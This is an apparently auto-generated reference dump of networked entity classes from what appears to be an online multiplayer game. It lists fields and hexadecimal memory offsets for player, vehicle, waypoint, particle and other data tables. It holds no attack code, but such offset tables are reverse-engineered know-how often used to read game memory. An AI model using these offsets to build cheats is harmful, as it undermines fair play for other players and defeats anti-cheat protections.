+class DT_NearbyPushers + +``` +{ + m_nearbyPushers: DataTable, +} +``` + +### Offsets + +``` +DT_NearbyPushers!0x40f4 m_nearbyPushers +``` +
+
+class DT_OverlayVars + +``` +{ + m_AnimOverlay: DataTable, + m_AnimOverlayCount: Int, +} +``` + +### Offsets + +``` +DT_OverlayVars!0x1608 m_AnimOverlay +DT_OverlayVars!0x16e0 m_AnimOverlayCount +``` +
+
+class DT_ParticleSystem + +``` +{ + m_localOrigin: Vector, + moveparent: Int, + m_parentAttachmentType: Int, + m_parentAttachmentIndex: Int, + m_fEffects: Int, + m_visibilityFlags: Int, + m_iTeamNum: Int, + m_localAngles: Vector, + m_hOwnerEntity: Int, + m_parentAttachmentHitbox: Int, + m_parentAttachmentModel: Int, + m_realmsBitMask: BitMask, + m_iEffectIndex: Int, + m_nStopType: Int, + m_bActive: Int, + m_bForceRenderAlways: Int, + m_flStartTime: Time, + m_bInSkybox: Int, + m_killForReplay: Int, + m_killIfOverLimit: Int, + m_vServerControlPoints: DataTable, + m_hControlPointEnts: DataTable, + m_controlPointAttachTypes: DataTable, + m_controlPoint1AttachmentIndex: Int, + m_vServerControlPointColorIds: DataTable, + m_parentAttachType: Int, +} +``` + +### Offsets + +``` +DT_ParticleSystem!0x0004 m_localOrigin +DT_ParticleSystem!0x001c moveparent +DT_ParticleSystem!0x0020 m_parentAttachmentType +DT_ParticleSystem!0x0024 m_parentAttachmentIndex +DT_ParticleSystem!0x0044 m_fEffects +DT_ParticleSystem!0x0428 m_visibilityFlags +DT_ParticleSystem!0x0430 m_iTeamNum +DT_ParticleSystem!0x046c m_localAngles +DT_ParticleSystem!0x0480 m_hOwnerEntity +DT_ParticleSystem!0x0834 m_parentAttachmentHitbox +DT_ParticleSystem!0x0838 m_parentAttachmentModel +DT_ParticleSystem!0x0a28 m_realmsBitMask +DT_ParticleSystem!0x0a40 m_iEffectIndex +DT_ParticleSystem!0x0a44 m_nStopType +DT_ParticleSystem!0x0a49 m_bActive +DT_ParticleSystem!0x0a4b m_bForceRenderAlways +DT_ParticleSystem!0x0a4c m_flStartTime +DT_ParticleSystem!0x0a55 m_bInSkybox +DT_ParticleSystem!0x0a56 m_killForReplay +DT_ParticleSystem!0x0a57 m_killIfOverLimit +DT_ParticleSystem!0x0a5c m_vServerControlPoints +DT_ParticleSystem!0x0a98 m_hControlPointEnts +DT_ParticleSystem!0x0aac m_controlPointAttachTypes +DT_ParticleSystem!0x0ac4 m_controlPoint1AttachmentIndex +DT_ParticleSystem!0x0ad4 m_vServerControlPointColorIds +DT_ParticleSystem!0x0adc m_parentAttachType +``` +
+
+class DT_PhysicsProp extends DT_BreakableProp + +``` +{ + m_spawnflags: Int, + m_bAwake: Int, + m_ignoresCollisionWithCombatCharacters: Int, + m_isRolling: Int, + m_networkTableRollSoundId: Int, + m_iPhysicsMode: Int, + m_fMass: Float, + m_collisionMins: Vector, + m_collisionMaxs: Vector, +} +``` + +### Offsets + +``` +DT_PhysicsProp!0x0094 m_spawnflags +DT_PhysicsProp!0x1608 m_bAwake +DT_PhysicsProp!0x1609 m_ignoresCollisionWithCombatCharacters +DT_PhysicsProp!0x160a m_isRolling +DT_PhysicsProp!0x160c m_networkTableRollSoundId +DT_PhysicsProp!0x1638 m_iPhysicsMode +DT_PhysicsProp!0x163c m_fMass +DT_PhysicsProp!0x1640 m_collisionMins +DT_PhysicsProp!0x164c m_collisionMaxs +``` +
+
+class DT_Player extends DT_BaseCombatCharacter + +``` +{ + localdata: DT_LocalPlayerExclusive, + teamshareddata: DT_PlayerTeamShared, + m_passives: Array, + portalnonlocaldata: DT_PortalNonLocalPlayerExclusive, + m_vecAbsOrigin: Vector, + isLocalOriginLocal: Int, + m_fFlags: Int, + m_hGroundEntity: Int, + m_iHealth: Int, + m_flMaxspeed: Float, + m_iMaxHealth: Int, + m_lifeState: Int, + m_decalIndex: Int, + m_inventory: DT_WeaponInventory, + m_selectedOffhands: DataTable, + m_selectedOffhandsPendingHybridAction: DataTable, + m_titanSoul: Int, + m_bZooming: Int, + m_zoomToggleOnStartTime: Time, + m_zoomBaseFrac: Float, + m_zoomBaseTime: Time, + m_zoomFullStartTime: Time, + m_currentFramePlayer: DT_CurrentData_Player, + pl: DT_PlayerState, + m_ammoPoolCapacity: Int, + m_hasBadReputation: Int, + m_happyHourActive: Int, + m_hardwareIcon: String, + m_hardware: Int, + m_platformUserId: BitMask, + m_EadpUserId: BitMask, + m_crossPlayChat: Int, + m_crossPlayChatFriends: Int, + m_classModsActive: BitMask, + m_passives[ 0 ]: BitMask, + m_bleedoutState: Int, + m_bleedoutStartTime: Float, + m_statusEffectsTimedPlayerNV: DataTable, + m_statusEffectsEndlessPlayerNV: DataTable, + m_damageComboLatestUpdateTime: Time, + m_damageComboStartHealth: Int, + m_gestureSequences: DataTable, + m_gestureStartTimes: DataTable, + m_gestureBlendInDuration: DataTable, + m_gestureBlendOutDuration: DataTable, + m_gestureFadeOutStartTime: DataTable, + m_gestureFadeOutDuration: DataTable, + m_gestureAutoKillBitfield: Int, + m_autoSprintForced: Int, + m_fIsSprinting: Int, + m_playerSettingForStickySprintForward: Int, + m_lastSprintPressTime: Time, + m_stickySprintForwardEnableTime: Time, + m_stickySprintForwardDisableTime: Time, + m_damageImpulseNoDecelEndTime: Time, + m_playerVehicles: DataTable, + m_playerVehicleCount: Int, + m_playerVehicleDriven: Int, + m_playerVehicleUseTime: Time, + m_duckState: Int, + m_leanState: Int, + m_canStand: Int, + m_StandHullMin: Vector, + m_StandHullMax: Vector, + m_DuckHullMin: Vector, + m_DuckHullMax: Vector, + m_entitySyncingWithMe: Int, + m_upDir: Vector, + m_traversalState: Int, + m_traversalType: Int, + m_traversalForwardDir: Vector, + m_traversalRefPos: Vector, + m_traversalYawDelta: Float, + m_traversalYawPoseParameter: Int, + m_wallClimbSetUp: Int, + m_wallHanging: Int, + m_grapple: DT_GrappleData, + m_grappleActive: Int, + m_turret: Int, + m_hViewModels: DataTable, + m_viewOffsetEntity: DT_Player_ViewOffsetEntityData, + m_animViewEntity: DT_Player_AnimViewEntityData, + m_activeZipline: Int, + m_ziplineValid3pWeaponLayerAnim: Int, + m_ziplineState: Int, + m_ziplineGrenadeBeginStationEntity: Int, + m_ziplineGrenadeBeginStationAttachmentIndex: Int, + m_isPerformingBoostAction: Int, + m_lastJumpPadTouched: Int, + m_launchCount: Int, + m_melee: DT_PlayerMelee_PlayerData, + m_useCredit: Int, + m_playerFlags: Int, + m_hasMic: Int, + m_inPartyChat: Int, + m_playerMoveSpeedScale: Float, + m_bShouldDrawPlayerWhileUsingViewEntity: Int, + m_iSpawnParity: Int, + m_iObserverMode: Int, + m_hObserverTarget: Int, + m_flDeathTime: Time, + m_lastDodgeTime: Time, + m_timeJetpackHeightActivateCheckPassed: Time, + m_grappleHook: Int, + m_petTitan: Int, + m_xp: Int, + m_skill_mu: Float, + m_bHasMatchAdminRole: Int, + m_ubEFNoInterpParity: Int, + m_hColorCorrectionCtrl: Int, + m_title: String, + m_Shared: DT_PlayerShared, + m_pilotClassIndex: Int, + m_pilotClassActivityModifier: Int, + m_playerScriptNetDataGlobal: Int, + m_helmetType: Int, + m_armorType: Int, + m_controllerModeActive: Int, + m_skydiveForwardPoseValueTarget: Float, + m_skydiveSidePoseValueTarget: Float, + m_skydiveState: Int, + m_skydiveDiveAngle: Float, + m_skydiveIsDiving: Int, + m_skydiveSpeed: Float, + m_skydiveStrafeAngle: Float, + m_skydivePlayerPitch: Float, + m_skydivePlayerYaw: Float, +} +``` + +### Offsets + +``` +DT_Player!0x0000 localdata +DT_Player!0x0000 teamshareddata +DT_Player!0x0000 m_passives +DT_Player!0x0000 portalnonlocaldata +DT_Player!0x0004 m_vecAbsOrigin +DT_Player!0x0010 isLocalOriginLocal +DT_Player!0x0098 m_fFlags +DT_Player!0x041c m_hGroundEntity +DT_Player!0x0420 m_iHealth +DT_Player!0x0424 m_flMaxspeed +DT_Player!0x0550 m_iMaxHealth +DT_Player!0x0770 m_lifeState +DT_Player!0x0e98 m_decalIndex +DT_Player!0x19b0 m_inventory +DT_Player!0x1a1e m_selectedOffhands +DT_Player!0x1a21 m_selectedOffhandsPendingHybridAction +DT_Player!0x1aa0 m_titanSoul +DT_Player!0x1b81 m_bZooming +DT_Player!0x1b84 m_zoomToggleOnStartTime +DT_Player!0x1b88 m_zoomBaseFrac +DT_Player!0x1b8c m_zoomBaseTime +DT_Player!0x1b90 m_zoomFullStartTime +DT_Player!0x2020 m_currentFramePlayer +DT_Player!0x2430 pl +DT_Player!0x24b4 m_ammoPoolCapacity +DT_Player!0x24b8 m_hasBadReputation +DT_Player!0x24b9 m_happyHourActive +DT_Player!0x24c0 m_hardwareIcon +DT_Player!0x24d0 m_hardware +DT_Player!0x24d8 m_platformUserId +DT_Player!0x24e0 m_EadpUserId +DT_Player!0x24e8 m_crossPlayChat +DT_Player!0x24e9 m_crossPlayChatFriends +DT_Player!0x24f0 m_classModsActive +DT_Player!0x25f0 m_passives[ 0 ] +DT_Player!0x2610 m_bleedoutState +DT_Player!0x2614 m_bleedoutStartTime +DT_Player!0x2618 m_statusEffectsTimedPlayerNV +DT_Player!0x2708 m_statusEffectsEndlessPlayerNV +DT_Player!0x27bc m_damageComboLatestUpdateTime +DT_Player!0x27c0 m_damageComboStartHealth +DT_Player!0x27c4 m_gestureSequences +DT_Player!0x27e4 m_gestureStartTimes +DT_Player!0x2804 m_gestureBlendInDuration +DT_Player!0x2824 m_gestureBlendOutDuration +DT_Player!0x2844 m_gestureFadeOutStartTime +DT_Player!0x2864 m_gestureFadeOutDuration +DT_Player!0x2884 m_gestureAutoKillBitfield +DT_Player!0x28c8 m_autoSprintForced +DT_Player!0x28cc m_fIsSprinting +DT_Player!0x28ce m_playerSettingForStickySprintForward +DT_Player!0x28d0 m_lastSprintPressTime +DT_Player!0x28d4 m_stickySprintForwardEnableTime +DT_Player!0x28d8 m_stickySprintForwardDisableTime +DT_Player!0x28f0 m_damageImpulseNoDecelEndTime +DT_Player!0x28fc m_playerVehicles +DT_Player!0x2904 m_playerVehicleCount +DT_Player!0x2908 m_playerVehicleDriven +DT_Player!0x290c m_playerVehicleUseTime +DT_Player!0x2910 m_duckState +DT_Player!0x2914 m_leanState +DT_Player!0x2919 m_canStand +DT_Player!0x291c m_StandHullMin +DT_Player!0x2928 m_StandHullMax +DT_Player!0x2934 m_DuckHullMin +DT_Player!0x2940 m_DuckHullMax +DT_Player!0x294c m_entitySyncingWithMe +DT_Player!0x2950 m_upDir +DT_Player!0x29cc m_traversalState +DT_Player!0x29d0 m_traversalType +DT_Player!0x29fc m_traversalForwardDir +DT_Player!0x2a08 m_traversalRefPos +DT_Player!0x2a34 m_traversalYawDelta +DT_Player!0x2a38 m_traversalYawPoseParameter +DT_Player!0x2a50 m_wallClimbSetUp +DT_Player!0x2a51 m_wallHanging +DT_Player!0x2a70 m_grapple +DT_Player!0x2b00 m_grappleActive +DT_Player!0x2b48 m_turret +DT_Player!0x2b4c m_hViewModels +DT_Player!0x2b60 m_viewOffsetEntity +DT_Player!0x2ba0 m_animViewEntity +DT_Player!0x2ca0 m_activeZipline +DT_Player!0x2cac m_ziplineValid3pWeaponLayerAnim +DT_Player!0x2cb0 m_ziplineState +DT_Player!0x2d44 m_ziplineGrenadeBeginStationEntity +DT_Player!0x2d48 m_ziplineGrenadeBeginStationAttachmentIndex +DT_Player!0x2d89 m_isPerformingBoostAction +DT_Player!0x2e80 m_lastJumpPadTouched +DT_Player!0x2e88 m_launchCount +DT_Player!0x2fb8 m_melee +DT_Player!0x2ff0 m_useCredit +DT_Player!0x3000 m_playerFlags +DT_Player!0x3008 m_hasMic +DT_Player!0x3009 m_inPartyChat +DT_Player!0x300c m_playerMoveSpeedScale +DT_Player!0x3248 m_bShouldDrawPlayerWhileUsingViewEntity +DT_Player!0x32b4 m_iSpawnParity +DT_Player!0x32bc m_iObserverMode +DT_Player!0x32c0 m_hObserverTarget +DT_Player!0x334c m_flDeathTime +DT_Player!0x3388 m_lastDodgeTime +DT_Player!0x33a8 m_timeJetpackHeightActivateCheckPassed +DT_Player!0x3430 m_grappleHook +DT_Player!0x3434 m_petTitan +DT_Player!0x345c m_xp +DT_Player!0x3464 m_skill_mu +DT_Player!0x3468 m_bHasMatchAdminRole +DT_Player!0x3d48 m_ubEFNoInterpParity +DT_Player!0x3d4c m_hColorCorrectionCtrl +DT_Player!0x3d70 m_title +DT_Player!0x40a0 m_Shared +DT_Player!0x40e8 m_pilotClassIndex +DT_Player!0x40ec m_pilotClassActivityModifier +DT_Player!0x426c m_playerScriptNetDataGlobal +DT_Player!0x4274 m_helmetType +DT_Player!0x4278 m_armorType +DT_Player!0x4280 m_controllerModeActive +DT_Player!0x429c m_skydiveForwardPoseValueTarget +DT_Player!0x42a8 m_skydiveSidePoseValueTarget +DT_Player!0x42d0 m_skydiveState +DT_Player!0x42e8 m_skydiveDiveAngle +DT_Player!0x42ec m_skydiveIsDiving +DT_Player!0x42f0 m_skydiveSpeed +DT_Player!0x42f4 m_skydiveStrafeAngle +DT_Player!0x4308 m_skydivePlayerPitch +DT_Player!0x430c m_skydivePlayerYaw +``` +
+
+class DT_PlayerDecoy extends DT_BaseAnimating + +``` +{ + m_cloakEndTime: Float, + m_cloakFadeInEndTime: Time, + m_cloakFadeOutStartTime: Float, + m_cloakFadeInDuration: Float, + m_cloakFlickerAmount: Float, + m_cloakFlickerEndTime: Time, + m_iHealth: Int, + m_iMaxHealth: Int, + m_nameVisibilityFlags: Int, + m_currentState: Int, + m_decoyFlags: Int, + m_lastPulseTime: Time, + m_currentClass: BitMask, + m_classModsActive: BitMask, +} +``` + +### Offsets + +``` +DT_PlayerDecoy!0x019c m_cloakEndTime +DT_PlayerDecoy!0x01a0 m_cloakFadeInEndTime +DT_PlayerDecoy!0x01a4 m_cloakFadeOutStartTime +DT_PlayerDecoy!0x01a8 m_cloakFadeInDuration +DT_PlayerDecoy!0x01ac m_cloakFlickerAmount +DT_PlayerDecoy!0x01b0 m_cloakFlickerEndTime +DT_PlayerDecoy!0x0420 m_iHealth +DT_PlayerDecoy!0x0550 m_iMaxHealth +DT_PlayerDecoy!0x0998 m_nameVisibilityFlags +DT_PlayerDecoy!0x1600 m_currentState +DT_PlayerDecoy!0x1604 m_decoyFlags +DT_PlayerDecoy!0x160c m_lastPulseTime +DT_PlayerDecoy!0x1610 m_currentClass +DT_PlayerDecoy!0x1618 m_classModsActive +``` +
+
+class DT_PlayerMelee_PlayerData + +``` +{ + meleeAttackParity: Int, + attackActive: Int, + attackRecoveryShouldBeQuick: Int, + isSprintAttack: Int, + attackStartTime: Time, + attackHitEntity: Int, + attackHitEntityTime: Time, + attackLastHitNonWorldEntity: Time, + scriptedState: Int, + pendingMeleePress: Int, + lungeBoost: Vector, +} +``` + +### Offsets + +``` +DT_PlayerMelee_PlayerData!0x0008 meleeAttackParity +DT_PlayerMelee_PlayerData!0x000c attackActive +DT_PlayerMelee_PlayerData!0x000d attackRecoveryShouldBeQuick +DT_PlayerMelee_PlayerData!0x000e isSprintAttack +DT_PlayerMelee_PlayerData!0x0010 attackStartTime +DT_PlayerMelee_PlayerData!0x0014 attackHitEntity +DT_PlayerMelee_PlayerData!0x0018 attackHitEntityTime +DT_PlayerMelee_PlayerData!0x001c attackLastHitNonWorldEntity +DT_PlayerMelee_PlayerData!0x0020 scriptedState +DT_PlayerMelee_PlayerData!0x0024 pendingMeleePress +DT_PlayerMelee_PlayerData!0x0028 lungeBoost +``` +
+
+class DT_PlayerTasklist extends DT_BaseEntity + +``` +{ + m_notifyTime: Time, + m_customInt: Int, + m_taskStatus: DataTable, + m_taskType: DataTable, + m_taskCountGoal: DataTable, + m_taskCountNow: DataTable, + m_taskFlags: DataTable, + m_taskGameTimes: DataTable, + m_taskInts: DataTable, + m_taskFloats: DataTable, + m_taskEnts: DataTable, + m_taskStringA: String, + m_taskStringB: String, + m_taskStringC: String, + m_taskStringD: String, + m_taskStringE: String, + m_taskStringF: String, + m_taskStringG: String, + m_taskStringH: String, + m_taskStringI: String, + m_taskStringJ: String, + m_taskStringK: String, + m_taskStringL: String, + m_taskStringM: String, +} +``` + +### Offsets + +``` +DT_PlayerTasklist!0x0a40 m_notifyTime +DT_PlayerTasklist!0x0a44 m_customInt +DT_PlayerTasklist!0x0a48 m_taskStatus +DT_PlayerTasklist!0x0a7c m_taskType +DT_PlayerTasklist!0x0ab0 m_taskCountGoal +DT_PlayerTasklist!0x0ae4 m_taskCountNow +DT_PlayerTasklist!0x0b18 m_taskFlags +DT_PlayerTasklist!0x0b4c m_taskGameTimes +DT_PlayerTasklist!0x0b80 m_taskInts +DT_PlayerTasklist!0x0bb4 m_taskFloats +DT_PlayerTasklist!0x0be8 m_taskEnts +DT_PlayerTasklist!0x0c1c m_taskStringA +DT_PlayerTasklist!0x0c5c m_taskStringB +DT_PlayerTasklist!0x0c9c m_taskStringC +DT_PlayerTasklist!0x0cdc m_taskStringD +DT_PlayerTasklist!0x0d1c m_taskStringE +DT_PlayerTasklist!0x0d5c m_taskStringF +DT_PlayerTasklist!0x0d9c m_taskStringG +DT_PlayerTasklist!0x0ddc m_taskStringH +DT_PlayerTasklist!0x0e1c m_taskStringI +DT_PlayerTasklist!0x0e5c m_taskStringJ +DT_PlayerTasklist!0x0e9c m_taskStringK +DT_PlayerTasklist!0x0edc m_taskStringL +DT_PlayerTasklist!0x0f1c m_taskStringM +``` +
+
+class DT_PlayerTeamShared + +``` +{ + m_healResources_healthTarget: Int, + m_lastTimeDamagedByOtherPlayer: Time, + m_lastTimeDamagedByNPC: Time, + m_lastTimeDidDamageToOtherPlayer: Time, + m_lastTimeDidDamageToNPC: Time, +} +``` + +### Offsets + +``` +DT_PlayerTeamShared!0x24bc m_healResources_healthTarget +DT_PlayerTeamShared!0x2e28 m_lastTimeDamagedByOtherPlayer +DT_PlayerTeamShared!0x2e2c m_lastTimeDamagedByNPC +DT_PlayerTeamShared!0x2e30 m_lastTimeDidDamageToOtherPlayer +DT_PlayerTeamShared!0x2e34 m_lastTimeDidDamageToNPC +``` +
+
+class DT_PlayerVehicle extends DT_BaseAnimatingOverlay + +``` +{ + vehicledriverdata: DT_VehicleDriverExclusive, + vehiclenondriverdata: DT_VehicleNonDriverExclusive, + m_vehiclePlayers: Array, + m_vecViewOffset.x: Float, + m_vecViewOffset.y: Float, + m_vecViewOffset.z: Float, + m_iHealth: Int, + m_localAngles: Vector, + m_iMaxHealth: Int, + m_vehicleDriver: Int, + m_driverActivationTime: Time, + m_driverDeactivationTime: Time, + m_vehiclePlayers[0]: Int, + m_vehiclePlayerCount: Int, + m_vehicleActivated: Int, + m_blockDuckInput: Int, + m_vehicleFlags: Int, + m_vehicleType: Int, + m_vehicleLaunchTime: Float, + m_vehicleVelocity: Vector, + m_vehicleGroundEntity: Int, + m_vehicleGroundNormal: Vector, + m_hoverVehicleIsOnGround: Int, + m_hoverVehicleLastBoostTime: Time, + m_hoverVehicleIsParked: Int, + m_hoverVehicleStunTimeEnd: Float, + m_hoverVehicleThrottle: Float, + m_hoverVehicleBanking: Float, + m_hoverVehicleFrictionLastTime: Float, + m_hoverVehicleFrictionSurfPropOther: Int, + m_hoverVehicleFrictionNormal: Vector, + m_hoverVehicleFrictionPos: Vector, + m_hoverVehicleSeats: DataTable, + m_abilityAttachmentEnts: DataTable, + m_abilityAttachmentInts: DataTable, + m_overrideVehicleAngles: Vector, + m_overrideVehicleAnglesUntilTick: Int, + m_pushingEnt: Int, + m_materialDualColorMask: Int, +} +``` + +### Offsets + +``` +DT_PlayerVehicle!0x0000 vehicledriverdata +DT_PlayerVehicle!0x0000 vehiclenondriverdata +DT_PlayerVehicle!0x0000 m_vehiclePlayers +DT_PlayerVehicle!0x0038 m_vecViewOffset.x +DT_PlayerVehicle!0x003c m_vecViewOffset.y +DT_PlayerVehicle!0x0040 m_vecViewOffset.z +DT_PlayerVehicle!0x0420 m_iHealth +DT_PlayerVehicle!0x046c m_localAngles +DT_PlayerVehicle!0x0550 m_iMaxHealth +DT_PlayerVehicle!0x1984 m_vehicleDriver +DT_PlayerVehicle!0x198c m_driverActivationTime +DT_PlayerVehicle!0x1990 m_driverDeactivationTime +DT_PlayerVehicle!0x1994 m_vehiclePlayers[0] +DT_PlayerVehicle!0x19a4 m_vehiclePlayerCount +DT_PlayerVehicle!0x19a8 m_vehicleActivated +DT_PlayerVehicle!0x19a9 m_blockDuckInput +DT_PlayerVehicle!0x19ac m_vehicleFlags +DT_PlayerVehicle!0x19b0 m_vehicleType +DT_PlayerVehicle!0x19b8 m_vehicleLaunchTime +DT_PlayerVehicle!0x19c0 m_vehicleVelocity +DT_PlayerVehicle!0x19cc m_vehicleGroundEntity +DT_PlayerVehicle!0x19d0 m_vehicleGroundNormal +DT_PlayerVehicle!0x19fc m_hoverVehicleIsOnGround +DT_PlayerVehicle!0x1a7c m_hoverVehicleLastBoostTime +DT_PlayerVehicle!0x1a85 m_hoverVehicleIsParked +DT_PlayerVehicle!0x1a88 m_hoverVehicleStunTimeEnd +DT_PlayerVehicle!0x1a8c m_hoverVehicleThrottle +DT_PlayerVehicle!0x1a94 m_hoverVehicleBanking +DT_PlayerVehicle!0x1a98 m_hoverVehicleFrictionLastTime +DT_PlayerVehicle!0x1a9c m_hoverVehicleFrictionSurfPropOther +DT_PlayerVehicle!0x1aa0 m_hoverVehicleFrictionNormal +DT_PlayerVehicle!0x1aac m_hoverVehicleFrictionPos +DT_PlayerVehicle!0x1ac4 m_hoverVehicleSeats +DT_PlayerVehicle!0x1ae8 m_abilityAttachmentEnts +DT_PlayerVehicle!0x1af0 m_abilityAttachmentInts +DT_PlayerVehicle!0x1bbc m_overrideVehicleAngles +DT_PlayerVehicle!0x1bc8 m_overrideVehicleAnglesUntilTick +DT_PlayerVehicle!0x1bf0 m_pushingEnt +DT_PlayerVehicle!0x1c84 m_materialDualColorMask +``` +
+
+class DT_PlayerWaypoint + +``` +{ + moveparent: Int, + m_parentAttachmentIndex: Int, + m_cellX: Int, + m_cellY: Int, + m_cellZ: Int, + m_localOrigin: Vector, + m_networkedFlags: Int, + m_visibilityFlags: Int, + m_iTeamNum: Int, + m_teamMemberIndex: Int, + m_hOwnerEntity: Int, + m_iSignifierName: String, + m_parentAttachmentModel: Int, + m_realmsBitMask: BitMask, + m_waypointType: Int, + m_waypointBitfield: Int, + m_waypointEnts: DataTable, + m_waypointVectors: DataTable, + m_waypointGameTimes: DataTable, + m_waypointInts: DataTable, + m_waypointFloats: DataTable, + m_objectivePackedInt: Int, + m_waypointGroupName: String, + m_waypointGroupFlags: Int, + m_waypointCustomType: String, + m_waypointStringA: String, + m_waypointStringB: String, + m_waypointAssetA: String, + m_waypointAssetB: String, +} +``` + +### Offsets + +``` +DT_PlayerWaypoint!0x001c moveparent +DT_PlayerWaypoint!0x0024 m_parentAttachmentIndex +DT_PlayerWaypoint!0x004c m_cellX +DT_PlayerWaypoint!0x0050 m_cellY +DT_PlayerWaypoint!0x0054 m_cellZ +DT_PlayerWaypoint!0x0058 m_localOrigin +DT_PlayerWaypoint!0x03d4 m_networkedFlags +DT_PlayerWaypoint!0x0428 m_visibilityFlags +DT_PlayerWaypoint!0x0430 m_iTeamNum +DT_PlayerWaypoint!0x0438 m_teamMemberIndex +DT_PlayerWaypoint!0x0480 m_hOwnerEntity +DT_PlayerWaypoint!0x0558 m_iSignifierName +DT_PlayerWaypoint!0x0838 m_parentAttachmentModel +DT_PlayerWaypoint!0x0a28 m_realmsBitMask +DT_PlayerWaypoint!0x0a40 m_waypointType +DT_PlayerWaypoint!0x0a44 m_waypointBitfield +DT_PlayerWaypoint!0x0a48 m_waypointEnts +DT_PlayerWaypoint!0x0a68 m_waypointVectors +DT_PlayerWaypoint!0x0ac8 m_waypointGameTimes +DT_PlayerWaypoint!0x0ae8 m_waypointInts +DT_PlayerWaypoint!0x0b08 m_waypointFloats +DT_PlayerWaypoint!0x0b28 m_objectivePackedInt +DT_PlayerWaypoint!0x0b2c m_waypointGroupName +DT_PlayerWaypoint!0x0b4c m_waypointGroupFlags +DT_PlayerWaypoint!0x0b50 m_waypointCustomType +DT_PlayerWaypoint!0x0b70 m_waypointStringA +DT_PlayerWaypoint!0x0bb0 m_waypointStringB +DT_PlayerWaypoint!0x0bf8 m_waypointAssetA +DT_PlayerWaypoint!0x0c78 m_waypointAssetB +``` +
+
+class DT_PlayerZipline + +``` +{ + m_ziplineReenableWeapons: Int, + m_mountingZiplineDuration: Float, + m_mountingZiplineAlpha: Float, + m_ziplineStartTime: Time, + m_ziplineEndTime: Time, + m_mountingZiplineSourcePosition: Vector, + m_mountingZiplineSourceVelocity: Vector, + m_mountingZiplineTargetPosition: Vector, + m_ziplineUsePosition: Vector, + m_slidingZiplineAlpha: Float, + m_lastMoveDir2D: Vector, + m_ziplineReverse: Int, +} +``` + +### Offsets + +``` +DT_PlayerZipline!0x0008 m_ziplineReenableWeapons +DT_PlayerZipline!0x000c m_mountingZiplineDuration +DT_PlayerZipline!0x0010 m_mountingZiplineAlpha +DT_PlayerZipline!0x0014 m_ziplineStartTime +DT_PlayerZipline!0x0018 m_ziplineEndTime +DT_PlayerZipline!0x001c m_mountingZiplineSourcePosition +DT_PlayerZipline!0x0028 m_mountingZiplineSourceVelocity +DT_PlayerZipline!0x0034 m_mountingZiplineTargetPosition +DT_PlayerZipline!0x004c m_ziplineUsePosition +DT_PlayerZipline!0x0058 m_slidingZiplineAlpha +DT_PlayerZipline!0x005c m_lastMoveDir2D +DT_PlayerZipline!0x0068 m_ziplineReverse +``` +
+
+class DT_Player_AnimViewEntityData + +``` +{ + animViewEntityHandle: Int, + animViewEntityAngleLerpInDuration: Float, + animViewEntityOriginLerpInDuration: Float, + animViewEntityLerpOutDuration: Float, + animViewEntityStabilizePlayerEyeAngles: Int, + animViewEntityThirdPersonCameraParity: Int, + animViewEntityThirdPersonCameraAttachment: DataTable, + animViewEntityNumThirdPersonCameraAttachments: Int, + animViewEntityThirdPersonCameraVisibilityChecks: Int, + animViewEntityDrawPlayer: Int, + fovTarget: Float, + fovSmoothTime: Float, + animViewEntityParity: Int, +} +``` + +### Offsets + +``` +DT_Player_AnimViewEntityData!0x0000 animViewEntityHandle +DT_Player_AnimViewEntityData!0x0004 animViewEntityAngleLerpInDuration +DT_Player_AnimViewEntityData!0x0008 animViewEntityOriginLerpInDuration +DT_Player_AnimViewEntityData!0x000c animViewEntityLerpOutDuration +DT_Player_AnimViewEntityData!0x0010 animViewEntityStabilizePlayerEyeAngles +DT_Player_AnimViewEntityData!0x0014 animViewEntityThirdPersonCameraParity +DT_Player_AnimViewEntityData!0x0018 animViewEntityThirdPersonCameraAttachment +DT_Player_AnimViewEntityData!0x0030 animViewEntityNumThirdPersonCameraAttachments +DT_Player_AnimViewEntityData!0x0034 animViewEntityThirdPersonCameraVisibilityChecks +DT_Player_AnimViewEntityData!0x0035 animViewEntityDrawPlayer +DT_Player_AnimViewEntityData!0x0038 fovTarget +DT_Player_AnimViewEntityData!0x003c fovSmoothTime +DT_Player_AnimViewEntityData!0x0048 animViewEntityParity +``` +
+
+class DT_PortalNonLocalPlayerExclusive + +``` +{ + m_pusher: Int, + m_originRelativeToPusher: Vector, + m_cellX: Int, + m_cellY: Int, + m_cellZ: Int, + m_localOrigin: VectorXY, + m_localOrigin.z: Float, +} +``` + +### Offsets + +``` +DT_PortalNonLocalPlayerExclusive!0x0028 m_pusher +DT_PortalNonLocalPlayerExclusive!0x002c m_originRelativeToPusher +DT_PortalNonLocalPlayerExclusive!0x004c m_cellX +DT_PortalNonLocalPlayerExclusive!0x0050 m_cellY +DT_PortalNonLocalPlayerExclusive!0x0054 m_cellZ +DT_PortalNonLocalPlayerExclusive!0x0058 m_localOrigin +DT_PortalNonLocalPlayerExclusive!0x0060 m_localOrigin.z +``` +
+
+class DT_PortalPointPush extends DT_BaseEntity + +``` +{ + m_bEnabled: Int, + m_flMagnitude: Float, + m_flRadius: Float, + m_flInnerRadius: Float, + m_flConeOfInfluence: Float, +} +``` + +### Offsets + +``` +DT_PortalPointPush!0x0a40 m_bEnabled +DT_PortalPointPush!0x0a44 m_flMagnitude +DT_PortalPointPush!0x0a48 m_flRadius +DT_PortalPointPush!0x0a4c m_flInnerRadius +DT_PortalPointPush!0x0a50 m_flConeOfInfluence +``` +
+
+class DT_PostProcessController extends DT_BaseEntity + +``` +{ + m_flPostProcessParameters: DataTable, + m_bMaster: Int, +} +``` + +### Offsets + +``` +DT_PostProcessController!0x0a40 m_flPostProcessParameters +DT_PostProcessController!0x0a58 m_bMaster +``` +
+
+class DT_PredictedAnimEventData + +``` +{ + m_predictedAnimEventTimes: DataTable, + m_predictedAnimEventIndices: DataTable, + m_predictedAnimEventCount: Int, + m_predictedAnimEventTarget: Int, + m_predictedAnimEventSequence: Int, + m_predictedAnimEventModel: Int, + m_predictedAnimEventsReadyToFireTime: Time, +} +``` + +### Offsets + +``` +DT_PredictedAnimEventData!0x0008 m_predictedAnimEventTimes +DT_PredictedAnimEventData!0x0028 m_predictedAnimEventIndices +DT_PredictedAnimEventData!0x0048 m_predictedAnimEventCount +DT_PredictedAnimEventData!0x004c m_predictedAnimEventTarget +DT_PredictedAnimEventData!0x0050 m_predictedAnimEventSequence +DT_PredictedAnimEventData!0x0054 m_predictedAnimEventModel +DT_PredictedAnimEventData!0x0058 m_predictedAnimEventsReadyToFireTime +``` +
+
